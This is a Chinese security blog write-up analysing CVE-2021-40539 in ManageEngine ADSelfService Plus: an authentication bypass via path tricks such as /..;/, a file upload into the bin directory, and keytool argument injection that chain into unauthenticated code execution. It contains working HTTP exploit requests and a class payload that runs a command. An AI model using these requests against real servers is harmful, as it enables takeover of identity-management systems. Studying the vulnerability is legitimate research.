ManageEngine ADSelfService Plus CVE-2021-40539 漏洞分析

阅读量359336

|

发布时间 : 2021-12-06 10:00:48

 

ZOHO ManageEngine ADSelfService Plus是美国卓豪(ZOHO)公司的针对 Active Directory 和云应用程序的集成式自助密码管理和单点登录解决方案。允许最终用户执行密码重置,帐户解锁和配置文件信息更新等任务,而不依赖于帮助台。ADSelfService Plus提供密码自助重置/解锁,密码到期提醒,自助服务目录更新程序,多平台密码同步器以及云应用程序的单点登录。

该漏洞可以在没有用户密码的情况下,获取服务器的底层权限。笔者打算从环境搭建、漏洞分析、漏洞利用等角度展开研究。

 

0x01 漏洞简介

CVE-2021-40539漏洞利用了三个漏洞的组合,首先使用权限绕过漏洞,其次通过文件上传漏洞把恶意类上传到bin目录,最后利用参数注入把类路径和类名传给可执行程序,从而实现未认证命令执行漏洞,该漏洞存在于6113及之前版本。

 

0x02 环境搭建

0x1 服务搭建

安装过程很简单,在官网下载带有本次漏洞的安装软件ManageEngine_ADSelfService_Plus_64bit_6113,把安装程序放在Win7虚拟机上,点击执行后进行傻瓜式安装。安装成功后可以访问到开放的Web服务

0x2 调试

在ADSelfService Plus的bin目录下存在着服务的启动脚本

我们在该脚本中添加IDEA的调试参数,如下所示

set JAVA_OPTS=%JAVA_OPTS% -DHTTP_PORT=8888 -DSSL_PORT=9251
set JAVA_OPTS=%JAVA_OPTS% -Xmx256m
set JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

最后执行run.bat,如下图所示开启对应的调试端口

 

0x03 漏洞分析

在分析该cve的时候笔者思考过几个问题
1.认证绕过漏洞在正常的代码审计过程中如何发现
2.文件上传漏洞隐藏的这么深是如何一步一步挖掘出来的
3.windows环境下Java命令执行的方式有哪些

0x1 认证绕过的深入思考

笔者有思考过为什么是/RestAPI路由存在认证绕过漏洞,然而/ServletAPI或/api/json等路由不存在类似的问题。带着这个问题笔者开始在配置文件及代码中寻找答案。
笔者分析的Filter类关系图如下

ApplicationFilterChain就是我们经常提到的FilterChain,它的doFilter函数把servlet对应的Filter以数组的形式存储在了内存中,数组元素类型为ApplicationFilterConfig,通过该类的getFilter方法获取对应的Filter。

首先笔者梳理了web.xml的相关配置,发现了各种servlet以及Filter配置,因为有太多的servlet笔者只选择性的列了几个servlet对应的路由

/RestAPI/
/api/json/
/ServletAPI/
/IDMSSOSAMLAuthenticator
/IDMOAuthSSOAuthenticator
/sso/oauth/
/accounts/
...

对应的filter是这么设计的,在解析filter-mapping时根据路由servlet添加filter处理类,比如解析到如下配置时com.adventnet.iam.security.SecurityFilter就会被加入到以下路由对应的servlet中

Filter对应的处理类如下图所示

下面两个filterChain分别是ServletAPI和RestAPI两个路由在实际请求处理过程中的生成的

本次漏洞的路由为RestAPI,总共经过以下六个Filter的处理,此次漏洞就出现在ADSFilter代码中

AssociateCredential
CAPFilter
EncodingFilter
METrackFilter
ADSFilter
Tomcat WebSocket Filter

在每个Filter实现类中都有doSubFilters函数,如果该Filter此函数返回值为false那么就会跳出循环,不会进行下面的Filter处理,Filter结束后就会进行正常servlet分发流程。因此如果想要实现认证绕过必须让ADSFilter返回值为true

0x2 ADSFilter隐患

一旦把注意力放在审计ADSFilter代码上,笔者认为会很快找到脆弱点,在分析时正常发送/RestAPI请求包,使用调试的方法确定是哪一块代码做的权限校验。最后定位到如下逻辑

简单概括为RestAPIUtil.isRestAPIRequest判断是否是/RestAPI路由,RestAPIFilter.doAction判断是否有正确的权限,那么有个思路可以绕过该检验,只需让他判断发送的请求不是/RestAPI,最后还是到了RestAPI对应的servlet进行处理即可。这就需要好好审一审RestAPIUtil.isRestAPIRequest的代码逻辑

public static boolean isRestAPIRequest(HttpServletRequest request, JSONObject filterParams) {
    String restApiUrlPattern = "/RestAPI/.*";

    try {
        restApiUrlPattern = filterParams.optString("API_URL_PATTERN", restApiUrlPattern);//restApiUrlPatter= RestAPI/.*|/ServletAPI/mfa/.*
    } catch (Exception var5) {
        out.log(Level.INFO, "Unable to get API_URL_PATTERN.", var5);
    }
    String reqURI = request.getRequestURI();// 获取发送来的url
    String contextPath = request.getContextPath() != null ? request.getContextPath() : "";
    reqURI = reqURI.replace(contextPath, ""); //这句话实际没有用
    reqURI = reqURI.replace("//", "/");       //替换//为/
    return Pattern.matches(restApiUrlPattern, reqURI);
}

仔细分析如果包含以下字符,都将绕过

/./
/.///
///.///
/.//.///
/../
/;/
/accounts/umcp/..;/..;/

0x3 文件上传

实现认证绕过之后,就要梳理其中的漏洞点。

1. 漏洞点溯源

通过搜索FileOutputStream关键函数,可以定位到getFileFromRequest函数。

继续寻找那里有调用FileActionHandler类的getFileFromRequest方法的地方

SmartCardAction类有相应的调用

但是这些代码都不知道如何通过web http请求访问到,还是需要继续向上溯源。

第一个LogonCustomization在struts-config.xml中配置了该路由对应的类

找到前端访问URL后分析LogonCustomization

2. 构造漏洞触发数据包

通过研究struts-config.xml配置文件

<action path="/LogonCustomization" type="com.adventnet.sym.adsm.common.webclient.admin.LogonCustomization" name="LogonCustomBean" validate="false" parameter="methodToCall" scope="request">
<forward name="LogonCustomization" path="LogonCustomizationPage"/>
</action>

该配置中的parameter字段决定了LogonCustomization类的哪个方法,比如该漏洞出现在unspecified方法,根据struts的代码逻辑

只需给methodToCall参数赋值,struts就会根据请求自动分发给类方法,该参数可以使用GET或者POST方式发送。

POST /accounts/umcp/..;/..;/RestAPI/LogonCustomization?methodToCall=unspecified HTTP/1.1
Host: 192.168.1.106:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------cd7472fc6949cbf4
Te: trailers
Connection: close
Content-Length: 541

-----------------------------cd7472fc6949cbf4
Content-Disposition: form-data; name="Save"

yes
-----------------------------cd7472fc6949cbf4
Content-Disposition: form-data; name="form"

smartcard
-----------------------------cd7472fc6949cbf4
Content-Disposition: form-data; name="operation"

Add
-----------------------------cd7472fc6949cbf4
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="test.txt"
Content-Type: application/octet-stream

what's the pppp
-----------------------------cd7472fc6949cbf4--

3. 文件上传效果

该文件上传漏洞会把文件写在ADSelfService项目的bin目录下,并且使用../目录穿越并不生效。因此可以初步判断,该文件上传为特定目录下的任意文件内容上传。

为什么目录穿越没有成功,相关代码如下

按照逻辑formFile.getFileName只会获取文件名

目前来看,无法通过上传文件实现ADSelfService Plus的控制。

0x4 命令执行

命令执行漏洞主要还是关注Java中能够执行命令的函数

1. 漏洞点溯源

 Binary file .//lib/AdventNetADSMServer/com/adventnet/sym/adsm/common/server/util/RunCmd.class matches
Binary file .//lib/AdventNetADSMServer/com/adventnet/sym/adsm/common/server/util/CommonUtil.class matches
Binary file .//lib/AdventNetADSMServer/com/adventnet/sym/adsm/common/server/ADHandler.class matches
Binary file .//lib/ManageEngineADSFStartup/com/manageengine/ads/startup/util/StartupUtil.class matches
Binary file .//lib/ManageEngineADSFStartup/com/manageengine/ads/startup/util/RegistryUtil.class matches
Binary file .//lib/ManageEngineADSFStartup/com/manageengine/ads/startup/trayicon/TrayIconManager.class matches

相当于找到了命令执行的封装函数,继续搜索有谁调用过该封装函数

刚好在SSLUtil类中就使用了该函数,继续研究该命令执行有没有可以控制的参数。

2. 参数注入漏洞

通过分析发现大部分参数都使用ClientUtil.keyToolEscape函数过滤,即使可以传入一些命令执行字符串大概率不会被执行,因为底层使用了Runtime.getRuntime().exec函数执行命令,该函数使用空格分割获取参数。

查看该命令执行参数有没有可以利用的点,在命令行直接执行help,发现了两个比较感兴趣的参数-providerpath和-providerclass,如果结合之前的文件上传,指定类名和加载路径就能实现类加载。

3. 配合文件上传漏洞

明确了命令执行方式后,就很简单了。
1.首先编译带有命令执行的类
2.上传该类class文件
3.利用参数注入,加载该类到JVM,并触发静态方法

import java.io.*;
public class Si{
    static{
        try{
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec("calc");
        }catch (IOException e){}
    }

    public static void main(String[] args) {

    }
}

使用javac编译java源码,并通过burp将文件发送给服务器

POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.106:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 132

methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:\ManageEngine\ADSelfService+Plus\bin"

 

0x4 总结

跟踪学习完这个漏洞之后,有些挖洞感想。在分析认证绕过的时候一定要尽可能的把主业务之前的代码都认认真真的审计一遍,有条件的话可以单步跟踪下。至于文件上传和命令执行其实很大程度上还是依靠搜索敏感函数,以及敏感函数溯源。漏洞挖掘一方面需要积累挖掘方法,另一方面要想办法把积累的方法活灵活现的应用在下一个挖掘目标上。

 

参考文章

https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html
https://forum.butian.net/share/876
https://xz.aliyun.com/t/10529

本文由D4ck原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/260904

安全客 - 有思想的安全新媒体

分享到:微信
+10赞
收藏
D4ck
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66